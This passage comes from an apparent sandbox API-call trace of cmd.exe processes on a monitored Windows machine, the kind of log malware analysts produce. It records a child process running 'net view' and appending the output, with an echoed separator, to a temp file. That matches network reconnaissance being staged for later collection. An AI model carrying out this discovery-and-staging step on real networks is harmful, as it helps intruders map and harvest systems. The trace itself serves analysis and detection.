(_String1="KEYS", _String2="DATE") returned 7 [0126.221] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0126.221] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0126.221] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0126.221] GetProcessHeap () returned 0x3b0000 [0126.221] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x38) returned 0x3c64f0 [0126.221] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2bf9d0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0126.221] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x2bf9d0, lpFilePart=0x2bf9b0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2bf9b0*="system32") returned 0x13 [0126.221] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0126.221] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x2bf6e0 | out: lpFindFileData=0x2bf6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="Windows", cAlternateFileName="")) returned 0x3c8340 [0126.221] FindClose (in: hFindFile=0x3c8340 | out: hFindFile=0x3c8340) returned 1 [0126.221] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x2bf6e0 | out: lpFindFileData=0x2bf6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd859920, ftLastAccessTime.dwHighDateTime=0x1d4d5f8, ftLastWriteTime.dwLowDateTime=0xd859920, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="System32", cAlternateFileName="")) returned 0x3c8340 [0126.222] FindClose (in: hFindFile=0x3c8340 | out: hFindFile=0x3c8340) returned 1 [0126.222] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0126.222] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0126.222] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0126.222] GetProcessHeap () returned 0x3b0000 [0126.222] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc710 | out: hHeap=0x3b0000) returned 1 [0126.222] GetEnvironmentStringsW () returned 0x3c9ab0* [0126.222] GetProcessHeap () returned 0x3b0000 [0126.222] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xac0) returned 0x3cbc70 [0126.222] FreeEnvironmentStringsW (penv=0x3c9ab0) returned 1 [0126.222] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a74c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0126.222] GetProcessHeap () returned 0x3b0000 [0126.222] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c64f0 | out: hHeap=0x3b0000) returned 1 [0126.222] GetProcessHeap () returned 0x3b0000 [0126.222] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4016) returned 0x3cdc80 [0126.222] GetProcessHeap () returned 0x3b0000 [0126.222] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x98) returned 0x3cc740 [0126.223] GetProcessHeap () returned 0x3b0000 [0126.223] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4010) returned 0x3d1ca0 [0126.223] GetProcessHeap () returned 0x3b0000 [0126.223] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4010) returned 0x3d5cc0 [0126.223] GetProcessHeap () returned 0x3b0000 [0126.223] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdc80 | out: hHeap=0x3b0000) returned 1 [0126.223] GetConsoleOutputCP () returned 0x1b5 [0126.224] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a74bfe0 | out: lpCPInfo=0x4a74bfe0) returned 1 [0126.224] GetUserDefaultLCID () returned 0x409 [0126.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a747b50, cchData=8 | out: lpLCData=":") returned 2 [0126.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2bfae0, cchData=128 | out: lpLCData="0") returned 2 [0126.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2bfae0, cchData=128 | out: lpLCData="0") returned 2 [0126.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2bfae0, cchData=128 | out: lpLCData="1") returned 2 [0126.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a75a740, cchData=8 | out: lpLCData="/") returned 2 [0126.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a75a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0126.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a75a460, cchData=32 | out: lpLCData="Tue") returned 4 [0126.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a75a420, cchData=32 | out: lpLCData="Wed") returned 4 [0126.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a75a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0126.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a75a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0126.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a75a360, cchData=32 | out: lpLCData="Sat") returned 4 [0126.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a75a700, cchData=32 | out: lpLCData="Sun") returned 4 [0126.224] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a747b40, cchData=8 | out: lpLCData=".") returned 2 [0126.224] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a75a4e0, cchData=8 | out: lpLCData=",") returned 2 [0126.225] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0126.225] GetProcessHeap () returned 0x3b0000 [0126.225] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20c) returned 0x3cc7e0 [0126.225] GetConsoleTitleW (in: lpConsoleTitle=0x3cc7e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0126.225] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0126.225] GetProcAddress (hModule=0x77040000, lpProcName="CopyFileExW") returned 0x770523d0 [0126.225] GetProcAddress (hModule=0x77040000, lpProcName="IsDebuggerPresent") returned 0x77048290 [0126.226] GetProcAddress (hModule=0x77040000, lpProcName="SetConsoleInputExeNameW") returned 0x770517e0 [0126.226] GetProcessHeap () returned 0x3b0000 [0126.226] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4012) returned 0x3cdc80 [0126.226] GetProcessHeap () returned 0x3b0000 [0126.226] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdc80 | out: hHeap=0x3b0000) returned 1 [0126.226] _wcsicmp (_String1="echo", _String2=")") returned 60 [0126.226] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0126.226] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0126.226] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0126.226] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0126.226] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0126.226] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0126.226] GetProcessHeap () returned 0x3b0000 [0126.226] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xb0) returned 0x3cca00 [0126.226] GetProcessHeap () returned 0x3b0000 [0126.226] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1a) returned 0x3c45f0 [0126.227] GetProcessHeap () returned 0x3b0000 [0126.227] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x26) returned 0x3c4620 [0126.227] GetProcessHeap () returned 0x3b0000 [0126.227] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x38) returned 0x3c64f0 [0126.230] GetProcessHeap () returned 0x3b0000 [0126.230] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x6e) returned 0x3ccac0 [0126.230] GetProcessHeap () returned 0x3b0000 [0126.230] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x28) returned 0x3c4650 [0126.230] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.230] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.230] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.230] GetFileType (hFile=0x7) returned 0x2 [0126.231] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0126.231] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2bf9b8 | out: lpMode=0x2bf9b8) returned 1 [0126.232] _dup (_FileHandle=1) returned 3 [0126.232] _close (_FileHandle=1) returned 0 [0126.232] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", _String2="con") returned -53 [0126.233] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x2bf968, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0126.233] _open_osfhandle (_OSFileHandle=0x50, _Flags=8) returned 1 [0126.233] _get_osfhandle (_FileHandle=1) returned 0x50 [0126.233] GetFileType (hFile=0x50) returned 0x1 [0126.233] GetFileSize (in: hFile=0x50, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x89e [0126.233] SetFilePointer (in: hFile=0x50, lDistanceToMove=-1, lpDistanceToMoveHigh=0x2bf9c8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2bf9c8*=0) returned 0x89d [0126.233] ReadFile (in: hFile=0x50, lpBuffer=0x2bf9b8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf960, lpOverlapped=0x0 | out: lpBuffer=0x2bf9b8*, lpNumberOfBytesRead=0x2bf960*=0x1, lpOverlapped=0x0) returned 1 [0126.233] GetConsoleTitleW (in: lpConsoleTitle=0x2bf9f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0126.234] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0126.234] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0126.234] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0126.234] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0126.234] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0126.234] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0126.234] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0126.234] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0126.234] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0126.234] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0126.234] GetProcessHeap () returned 0x3b0000 [0126.234] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3c) returned 0x3c8570 [0126.234] GetProcessHeap () returned 0x3b0000 [0126.234] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c8570, Size=0x24) returned 0x3c4680 [0126.234] GetProcessHeap () returned 0x3b0000 [0126.234] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c4680) returned 0x24 [0126.235] GetProcessHeap () returned 0x3b0000 [0126.235] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x30) returned 0x3c65b0 [0126.235] _vsnwprintf (in: _Buffer=0x4a756340, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x2bf788 | out: _Buffer="-------- \r\n") returned 11 [0126.235] _get_osfhandle (_FileHandle=1) returned 0x50 [0126.235] GetFileType (hFile=0x50) returned 0x1 [0126.235] _get_osfhandle (_FileHandle=1) returned 0x50 [0126.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="-------- \r\n", cchWideChar=-1, lpMultiByteStr=0x4a74c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-------- \r\n", lpUsedDefaultChar=0x0) returned 12 [0126.235] WriteFile (in: hFile=0x50, lpBuffer=0x4a74c320*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x2bf758, lpOverlapped=0x0 | out: lpBuffer=0x4a74c320*, lpNumberOfBytesWritten=0x2bf758*=0xb, lpOverlapped=0x0) returned 1 [0126.235] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0126.236] _close (_FileHandle=3) returned 0 [0126.237] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.237] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0126.237] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.237] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a73e194 | out: lpMode=0x4a73e194) returned 1 [0126.237] _get_osfhandle (_FileHandle=0) returned 0x3 [0126.237] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a73e198 | out: lpMode=0x4a73e198) returned 1 [0126.237] SetConsoleInputExeNameW () returned 0x1 [0126.237] GetConsoleOutputCP () returned 0x1b5 [0126.237] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a74bfe0 | out: lpCPInfo=0x4a74bfe0) returned 1 [0126.237] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0126.238] exit (_Code=0) Process: id = "21" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x673e000" os_pid = "0x248" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "cmd /C \"net view >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 296 os_tid = 0x204 [0126.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1bfc00 | out: lpSystemTimeAsFileTime=0x1bfc00*(dwLowDateTime=0xf3feb650, dwHighDateTime=0x1d51ed4)) [0126.409] GetCurrentProcessId () returned 0x248 [0126.409] GetCurrentThreadId () returned 0x204 [0126.409] GetTickCount () returned 0x2c438 [0126.409] QueryPerformanceCounter (in: lpPerformanceCount=0x1bfc08 | out: lpPerformanceCount=0x1bfc08*=25093421449) returned 1 [0126.411] GetModuleHandleW (lpModuleName=0x0) returned 0x4a320000 [0126.411] __set_app_type (_Type=0x1) [0126.411] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a347810) returned 0x0 [0126.411] __getmainargs (in: _Argc=0x4a36a608, _Argv=0x4a36a618, _Env=0x4a36a610, _DoWildCard=0, _StartInfo=0x4a34e0f4 | out: _Argc=0x4a36a608, _Argv=0x4a36a618, _Env=0x4a36a610) returned 0 [0126.411] GetCurrentThreadId () returned 0x204 [0126.411] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x204) returned 0x3c [0126.411] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0126.411] GetProcAddress (hModule=0x77040000, lpProcName="SetThreadUILanguage") returned 0x77056d40 [0126.411] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0126.412] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0126.412] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bfb98 | out: phkResult=0x1bfb98*=0x0) returned 0x2 [0126.412] VirtualQuery (in: lpAddress=0x1bfb80, lpBuffer=0x1bfb00, dwLength=0x30 | out: lpBuffer=0x1bfb00*(BaseAddress=0x1bf000, AllocationBase=0xc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0126.412] VirtualQuery (in: lpAddress=0xc0000, lpBuffer=0x1bfb00, dwLength=0x30 | out: lpBuffer=0x1bfb00*(BaseAddress=0xc0000, AllocationBase=0xc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0126.412] VirtualQuery (in: lpAddress=0xc1000, lpBuffer=0x1bfb00, dwLength=0x30 | out: lpBuffer=0x1bfb00*(BaseAddress=0xc1000, AllocationBase=0xc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0126.412] VirtualQuery (in: lpAddress=0xc4000, lpBuffer=0x1bfb00, dwLength=0x30 | out: lpBuffer=0x1bfb00*(BaseAddress=0xc4000, AllocationBase=0xc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0126.412] VirtualQuery (in: lpAddress=0x1c0000, lpBuffer=0x1bfb00, dwLength=0x30 | out: lpBuffer=0x1bfb00*(BaseAddress=0x1c0000, AllocationBase=0x1c0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x7000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0126.412] GetConsoleOutputCP () returned 0x1b5 [0126.412] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1 [0126.412] SetConsoleCtrlHandler (HandlerRoutine=0x4a343184, Add=1) returned 1 [0126.412] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.412] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0126.412] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.412] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a34e194 | out: lpMode=0x4a34e194) returned 1 [0126.413] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.413] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0126.413] _get_osfhandle (_FileHandle=0) returned 0x3 [0126.413] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a34e198 | out: lpMode=0x4a34e198) returned 1 [0126.413] _get_osfhandle (_FileHandle=0) returned 0x3 [0126.413] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0126.413] GetEnvironmentStringsW () returned 0x248af0* [0126.413] GetProcessHeap () returned 0x230000 [0126.413] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xa78) returned 0x249570 [0126.414] FreeEnvironmentStringsW (penv=0x248af0) returned 1 [0126.414] GetProcessHeap () returned 0x230000 [0126.414] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x8) returned 0x248370 [0126.414] GetEnvironmentStringsW () returned 0x248af0* [0126.414] GetProcessHeap () returned 0x230000 [0126.414] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xa78) returned 0x249ff0 [0126.414] FreeEnvironmentStringsW (penv=0x248af0) returned 1 [0126.414] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1bea58 | out: phkResult=0x1bea58*=0x44) returned 0x0 [0126.414] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1bea50, lpData=0x1bea70, lpcbData=0x1bea54*=0x1000 | out: lpType=0x1bea50*=0x0, lpData=0x1bea70*=0x18, lpcbData=0x1bea54*=0x1000) returned 0x2 [0126.414] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1bea50, lpData=0x1bea70, lpcbData=0x1bea54*=0x1000 | out: lpType=0x1bea50*=0x4, lpData=0x1bea70*=0x1, lpcbData=0x1bea54*=0x4) returned 0x0 [0126.414] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1bea50, lpData=0x1bea70, lpcbData=0x1bea54*=0x1000 | out: lpType=0x1bea50*=0x0, lpData=0x1bea70*=0x1, lpcbData=0x1bea54*=0x1000) returned 0x2 [0126.414] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1bea50, lpData=0x1bea70, lpcbData=0x1bea54*=0x1000 | out: lpType=0x1bea50*=0x4, lpData=0x1bea70*=0x0, lpcbData=0x1bea54*=0x4) returned 0x0 [0126.414] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1bea50, lpData=0x1bea70, lpcbData=0x1bea54*=0x1000 | out: lpType=0x1bea50*=0x4, lpData=0x1bea70*=0x40, lpcbData=0x1bea54*=0x4) returned 0x0 [0126.414] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1bea50, lpData=0x1bea70, lpcbData=0x1bea54*=0x1000 | out: lpType=0x1bea50*=0x4, lpData=0x1bea70*=0x40, lpcbData=0x1bea54*=0x4) returned 0x0 [0126.414] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1bea50, lpData=0x1bea70, lpcbData=0x1bea54*=0x1000 | out: lpType=0x1bea50*=0x0, lpData=0x1bea70*=0x40, lpcbData=0x1bea54*=0x1000) returned 0x2 [0126.414] RegCloseKey (hKey=0x44) returned 0x0 [0126.414] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1bea58 | out: phkResult=0x1bea58*=0x44) returned 0x0 [0126.414] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1bea50, lpData=0x1bea70, lpcbData=0x1bea54*=0x1000 | out: lpType=0x1bea50*=0x0, lpData=0x1bea70*=0x40, lpcbData=0x1bea54*=0x1000) returned 0x2 [0126.414] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1bea50, lpData=0x1bea70, lpcbData=0x1bea54*=0x1000 | out: lpType=0x1bea50*=0x4, lpData=0x1bea70*=0x1, lpcbData=0x1bea54*=0x4) returned 0x0 [0126.414] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1bea50, lpData=0x1bea70, lpcbData=0x1bea54*=0x1000 | out: lpType=0x1bea50*=0x0, lpData=0x1bea70*=0x1, lpcbData=0x1bea54*=0x1000) returned 0x2 [0126.414] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1bea50, lpData=0x1bea70, lpcbData=0x1bea54*=0x1000 | out: lpType=0x1bea50*=0x4, lpData=0x1bea70*=0x0, lpcbData=0x1bea54*=0x4) returned 0x0 [0126.414] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1bea50, lpData=0x1bea70, lpcbData=0x1bea54*=0x1000 | out: lpType=0x1bea50*=0x4, lpData=0x1bea70*=0x9, lpcbData=0x1bea54*=0x4) returned 0x0 [0126.414] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1bea50, lpData=0x1bea70, lpcbData=0x1bea54*=0x1000 | out: lpType=0x1bea50*=0x4, lpData=0x1bea70*=0x9, lpcbData=0x1bea54*=0x4) returned 0x0 [0126.414] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1bea50, lpData=0x1bea70, lpcbData=0x1bea54*=0x1000 | out: lpType=0x1bea50*=0x0, lpData=0x1bea70*=0x9, lpcbData=0x1bea54*=0x1000) returned 0x2 [0126.415] RegCloseKey (hKey=0x44) returned 0x0 [0126.415] time (in: timer=0x0 | out: timer=0x0) returned 0x5cfd2085 [0126.415] srand (_Seed=0x5cfd2085) [0126.415] GetCommandLineW () returned="cmd /C \"net view >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0126.415] GetCommandLineW () returned="cmd /C \"net view >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0126.415] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a35c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0126.415] GetProcessHeap () returned 0x230000 [0126.415] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x218) returned 0x24aa70 [0126.415] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24aa80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0126.415] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0126.415] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0126.415] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0126.415] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0126.415] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0126.415] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0126.415] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0126.415] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0126.415] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0126.415] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0126.415] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0126.415] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0126.416] GetProcessHeap () returned 0x230000 [0126.416] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249570 | out: hHeap=0x230000) returned 1 [0126.416] GetEnvironmentStringsW () returned 0x248af0* [0126.416] GetProcessHeap () returned 0x230000 [0126.416] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xa90) returned 0x24b730 [0126.416] FreeEnvironmentStringsW (penv=0x248af0) returned 1 [0126.416] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0126.416] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0126.416] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0126.416] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0126.416] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0126.416] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0126.416] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0126.416] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0126.416] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0126.416] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0126.416] GetProcessHeap () returned 0x230000 [0126.416] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x38) returned 0x2464e0 [0126.416] GetCurrentDirectoryW (in: nBufferLength=0x104, 